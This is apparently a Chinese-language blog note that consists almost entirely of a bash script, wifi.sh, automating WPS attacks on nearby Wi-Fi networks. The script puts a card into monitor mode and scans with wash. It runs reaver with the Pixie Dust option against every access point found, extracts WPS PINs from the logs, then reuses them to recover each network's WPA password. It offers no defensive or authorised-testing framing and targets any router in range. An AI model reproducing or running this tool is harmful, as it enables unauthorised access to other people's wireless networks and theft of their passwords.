直接上腳本吧, 我作個筆記。bash
#************************************************************************* # > File Name: wifi.sh # > Author: chenglee # > Main : chengkenlee@sina.com # > Blog : http://www.cnblogs.com/chenglee/ # > Created Time : Tue 26 Mar 2019 09:30:16 PM CST #************************************************************************* #!/bin/bash wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'` function Wwash(){ echo "判斷網卡是否以掛載..." if [ -z "${wlanname}" ];then echo "網卡沒掛載, 請先手動掛載網卡" exit; else echo "網卡已掛載,判斷是否已啓動監聽模式" #airmon-ng start ${wlanname} wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'` string="mon" if [[ $wlanname =~ $string ]];then echo "監聽模式正常, 開始掃描附近無線網絡..." nohup wash -i ${wlanname} > logs/file 2>&1 & else echo "監聽模式異常, 準備重啓監聽模式" airmon-ng stop ${wlanname} airmon-ng start ${wlanname} echo "檢查網卡監聽模式狀態" if [[ $wlanname =~ $string ]];then echo "監聽模式正常, 開始掃描附近無線網絡..." nohup wash -i ${wlanname} > logs/file 2>&1 & else echo "定點異常,請插拔網卡後繼續運行此腳本" exit; fi fi fi } function file(){ sleep 5; num=`cat -n logs/file | grep BSSID | awk -F ' ' '{print$1}'` number=`expr ${num} + 2` nullnum=`sed -n ''"$number"',$p' logs/file | awk '/^$/{print NR}' | head -n 1` if [ "$nullnum" = "" ];then sed -n ''"$number"',$p' logs/file | awk -F ' ' '{print$1,$2}' > logs/file1 cat logs/file1 | awk -F ' ' '{print$1}' > logs/mac cat logs/file1 | awk -F ' ' '{print$2}' > logs/ch else sed -n ''"$number"',$p' logs/file | awk -F ' ' '{print$1,$2}' > logs/file1 nullnu=`expr ${nullnum} - 1` sed -n '1,'"$nullnu"'p' logs/file1 > logs/file2 cat logs/file2 | awk -F ' ' '{print$1}' > logs/mac cat logs/file2 | awk -F ' ' '{print$2}' > logs/ch fi } function Rreaver(){ wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'` exec 3<"logs/mac" exec 4<"logs/ch" while read line1<&3 && read line2<&4 do echo "後臺分析物理地址爲:${line1},信道爲:${line2}的無線網絡數據, 請稍後..." nohup reaver -i ${wlanname} -b ${line1} -c ${line2} -vv -K 0 >> logs/${line1}.logs 2>&1 & done } function analyse_PIN(){ lsatstring="logs" exec 5<"logs/mac" while read line3<&5 do WPA_PIN=`cat logs/${line3}.${lsatstring} | grep WPA` if [ "$WPA_PIN" = "" ];then echo "${line3}-PIN碼獲取不到, 繼續判斷..." else echo "${line3}-PIN碼獲取成功!!PIN碼:${WPA_PIN}" echo "${line3}" >> logs/pin_mac 2>&1 & echo "${WPA_PIN}" | awk -F ':' '{print$NF}' | sed 's/ //g' >> logs/pin_pin 2>&1 & fi done } function Ppin(){ wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'` exec 6<"logs/pin_mac" exec 7<"logs/pin_pin" while read line4<&6 && read line5<&7 do echo "開始經過(路由器):${line4},pin碼:${line5},套取密碼..." nohup reaver -i ${wlanname} -b ${line4} -p ${line5} >> logs/${line5}.logs 2>&1 & done } function pass(){ lsatstring="logs" exec 8<"logs/pin_pin" while read line6<&8 do PassWord=`cat logs/${line6}.${lsatstring} | grep PSK` if [ "$PassWord" = "" ];then echo "PIN碼爲:${line6},密碼獲取失敗, 繼續獲取..." else echo "PIN碼爲:${line6},密碼獲取成功,請前行 logs/${line6}.${lsatstring}文件查看相關 SSID,PASS等信息" fi done } function logs(){ if [ -d "logs" ];then echo "" Wwash sleep 10; file else echo "" mkdir logs Wwash sleep 10; file fi } function main(){ #logs #file ###############多重循環暴力區############### #Rreaver #analyse_PIN #Ppin #pass ###############多重循環暴力區############### } main